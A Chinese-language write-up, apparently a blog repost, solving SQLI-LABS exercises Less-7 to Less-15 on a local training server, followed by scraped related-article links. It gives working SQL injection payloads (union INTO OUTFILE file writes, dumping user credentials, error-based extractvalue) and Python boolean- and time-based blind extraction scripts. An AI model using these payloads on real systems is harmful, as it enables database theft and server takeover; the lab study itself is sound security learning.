LESS-7

  上题。

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1' --+

  

  单引号发现报错,但不是外显,所以无法直接进行剥离构造。没有外显的话比较麻烦,通过尝试得到:

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) --+

  

  回显正常。这题需要用到outfile,导出型注入。但是使用outfile需要一定的file权限,下面是使用条件:

1 必须有权限读取并且文件必须完全可读
2 目的文件必须在服务器上
3 必须指定文件完整的路径
4 欲读取文件必须小于 max_allowed_packet

  接下来判断我们是否有file权限,构造语句:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+//select count(*) from mysql.user 意思是返回mysql库中所有用户名数量

  

  若回显正常,说明具有file权限,回显不正常,则说明不具有file权限。这里回显正常,说明具有权限。

  那么我们可以开始进行注入,构造语句:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "/xampp-php5/htdocs/SQLI-LABS/sqli-labs-master/Less-7/1.php" --+

  OR

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\1.php" --+

  

  在文件路径中,若使用’ \ ‘,则需要用另外一个转义字符将其转义即一个’ / ‘等于’ \\ ‘。

  

  注入成功,可以发现生成了一个1.php。

  同样地:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,(select group_concat(username,'_',password) from users),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\2.php" --+

  

  然后我们以此方法得到flag。

  

  LESS-8

  单引号尝试发现没有回显,只有正确的回显,没有错误的回显,所以此题无法进行报错注入。但是凭借you are in....这题我们使用布尔盲注。

  先爆出数据库名,脚本如下:

 1 # 爆数据库名
 2
 3 def get_database():
 4     database="database: "
 5     for i in range(1,9):
 6         for key in dictionary:
 7             url = main_url + " and ascii(substr(database(),"+str(i) + ",1))="+str(ord(key)) + " --+"
 8             html = requests.get(url)
 9             if (html.content.find("You are in") != -1):
10                 database = database + key
11                 print database

  

  然后再爆数据库。

 1 #爆数据库
 2 def get_tables():
 3     tables = "tables: "
 4     sql = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
 5     for i in range(1,20):
 6         for key in dictionary:
 7             url = main_url + " and ord(substr(( " + sql + ")," + str(i) + ", 1))= " + str(ord(key)) + " --+"
 8             html = requests.get(url)
 9             if (html.content.find("You are in") != -1):
10                 tables = tables + key
11                 print tables

  最后利用相同的方法爆出相应的字段,然后就可以随便玩了。

  这题和LESS-5做法区别在于,LESS-5存在报错提示,而LESS-8没有报错提示,但是这并不影响布尔盲注本身的做法。

  

  

  观察后台代码也印证了这一点。

  Less-9

  单引号尝试,发现只要id有值,怎样构造都只有You are in....回显,这一题无法使用布尔盲注和报错盲注。所以这一题我们使用时间盲注。

  构造payload如下:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-9/?id=1' and If(ascii(substr(database(),1,1))=ascii('s'),sleep(3),1) --+   //爆数据库名

  回显延时,说明 数据库第一位为‘s’。

  这里需要用到IF语句,语句结构是这样的:IF(condition,true,false)。若条件为真,则执行true里面的语句,若条件为假,则执行false里面的语句。

  然后爆数据库。

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-9/?id=1' and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=ascii('e'),sleep(3),1) --+

  

  接下来爆表什么的前面也有讲到。所以这里就不放上来了。

  丢上脚本:

 1 # 爆数据库名
 2 def get_database():
 3     print "Start to retrieve the database_name: "
 4     database = "database: "
 5     for i in range(1,9):
 6         for key in dictionary:
 7             url = main_url + " and if(ord(substr(database()," + str(i) + ",1)) = " + str(ord(key)) + " , sleep(5), 1) --+"
 8             start_time=time.time()
 9             html=requests.get(url)
10             if (time.time() - start_time > 4 ):
11                 database=database + key
12                 print database

 1 # 爆数据库
 2 def get_tables():
 3     print "Start to retrieve the tables: "
 4     tables = "tables: "
 5     for j in range(1,20):
 6         for key in dictionary:
 7             url = main_url + " and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+ str(j) +" ,1)) = " + str(ord(key)) + ", sleep(5), 1) --+"
 8             start_time=time.time()
 9             html=requests.get(url)
10             if (time.time() - start_time > 3):
11                 tables = tables + key
12                 print tables

  

  Less-10

  这题做法和Less-9一样,将单引号换为双引号即可。但是问题来了,该怎么判断是单引号闭合还是双引号闭合?希望指点。

  Less-11

  上题。

  由于是post形式,所以无法直接在payload上进行变量的传值。用单引号尝试,发现是单引号闭合,于是可以在username进行构造,如下:

1 ' union select 1, database() #

  爆出数据库名。

1 ' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

  同理,爆数据库。

  然后相同的方法爆出字段,可以随便逛了。

  LESS-12

  方法和上一题一样,将单引号换为”)即可。

  Less-13

  单引号尝试,报错发现为‘)闭合,利用布尔盲注,构造如下:

1 admin') and substr(database(),1,1)>'a' #

  暂时没想好脚本怎么写。这里的话利用二分法爆数据库名。

  其他数据一样。

 Less-14

  将上题改为 ” 双引号即可,利用布尔盲注之后,发现这题也可以利用报错注入,payload如下:

1 admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

  Less-15

  单引号尝试,发现为单引号闭合,于是直接布尔盲注,注入成功。接下来再尝试报错注入,发现题目没有语法报错,所以报错注入在此题行不通。

转载于:https://www.cnblogs.com/Buki11/p/10922046.html

SQLI_LAB——Less7~15相关推荐

  1. sql注入——php源码的审计(以sql-lab 1~15为例)(超详细)

    sql注入--php源码的审计(以sql-lab 1~15为例)(超详细) sql注入 sql注入:web应用对用户输入数据的合法性没有判断,并且传入的参数是攻击者可控的,因此攻击者通过构造不同的sq ...

  2. 10任务栏全屏时老是弹出_Deepin 15.10 发布,深度操作系统

    深度操作系统是一个致力于为全球用户提供美观易用.安全可靠的Linux发行版. 深度操作系统基于Linux内核,以桌面应用为主的开源GNU/Linux操作系统,支持笔记本.台式机和一体机.深度操作系统( ...

  3. Manifest merger failed : uses-sdk:minSdkVersion 15 cannot be smaller than version 16 declared in lib

    今天导入饺子库提示 sdk 不能低于16的错误提示,导致build 失败 处理方法: 我把15 改成了16即可编译通过 这个是之前写的,目前各大应用平台要求最低是26了,

  4. View requires API level 21 (current min is 15): Toolbar

    第一种情况: 在布局文件报错,查看错误提示View requires API level 21 (current min is 15): <Toolbar> 这个说要求要api版本为21 ...

  5. PyTorch 笔记(15)— 分别使用 tensor、autograd、torch.nn 搭建简易神经网络

    1. 使用 tensor 搭建神经网络 搭建神经网络模型的具体代码如下,这里会将完整的代码分成几部分进行详细介绍,以便于理解. import torch as tbatch_n = 100 input ...

  6. 机器学习入门(15)— 全连接层与卷积层的区别、卷积神经网络结构、卷积运算、填充、卷积步幅、三维数据卷积、多维卷积核运算以及批处理

    卷积神经网络(Convolutional Neural Network,CNN)CNN 被用于图像识别.语音识别等各种场合,在图像识别的比赛中,基于深度学习的方法几乎都以 CNN 为基础. 1. 全连 ...

  7. Go 中 time.Parse 报错:year/month/day hour/minute/second out of range 时间格式化为什么是 2006-01-02 15:04:05?

    1. 问题现象 在使用 Go 语言的 time.Parse 解析时间时遇到以下错误: func main() {timeParse, err := time.Parse("2006-11-0 ...

  8. mysql8 mac 忘记密码_mac下 MySql 8.0.15忘记密码重置密码

    Mysql最新版跟老版用法不一样了,重置密码的方法也改变了 1.忘记密码了就需要先免登录进入数据库 进入到mysql目录下: cd /usr/local/mysql/bin/ sudo su 终端出现 ...

  9. c语言一行黑白相间的瓷砖,C语言编程练习15:贴瓷砖

    题目描述 有一块大小是 2 * n 的墙面,现在需要用2种规格的瓷砖铺满,瓷砖规格分别是 2 * 1 和 2 * 2,请计算一共有多少种铺设的方法. 输入 输入的第一行包含一个正整数T(T<=2 ...

最新文章

  1. mysql 开放远程连接权限连不上
  2. 记一次在LAMP中遇到的问题
  3. oracle 主键_mysql 组合索引带主键ID的问题
  4. Java Web学习总结(19)——web.xml配置详解
  5. 用汇编的眼光看C++(之指针2)
  6. WPF 之 鼠标双击事件
  7. numpy线性代数基础 - Python和MATLAB矩阵处理的不同
  8. [itint5]交替字符串
  9. 阿里云服务器安装宝塔面板和配置安全组
  10. VS2019创建COM组件
  11. 基于Python的IMDB电影评论文本分类
  12. 流媒体弱网优化之路(NACK)——纯NACK方案的优化探索
  13. wxpython 按钮 扁平化_jquery mobile扁平化设计样式--Jquery mobile Flat UI介绍
  14. Unity3D消耗CPU过高解决办法
  15. Linux登入Oracle数据库修改密码
  16. Android手机刷入Magisk的方法
  17. 一文读懂十大数据存储加密技术
  18. 报错AttributeError: ‘NoneType‘ object has no attribute ‘shape‘
  19. swiper 滚回第一个数据_分散能源数据的区块链应用
  20. 有极性电容和无极性电容区别

热门文章

  1. boost::mp11::mp_find_if相关用法的测试程序
  2. boost::hana::accessors用法的测试程序
  3. boost::log模块实现logging旋转文本文件的示例
  4. boost::graph::page_rank用法的测试程序
  5. boost::graph模块演示 GGCL Vertex 接口
  6. Boost:基于Boost的daytime服务测试程序
  7. Boost:计时系的测试
  8. ITK:使用均方执行二维平移配准
  9. VTK:Qt之QImageToImageSource
  10. 在Qt for Python应用程序中使用Designer UI文件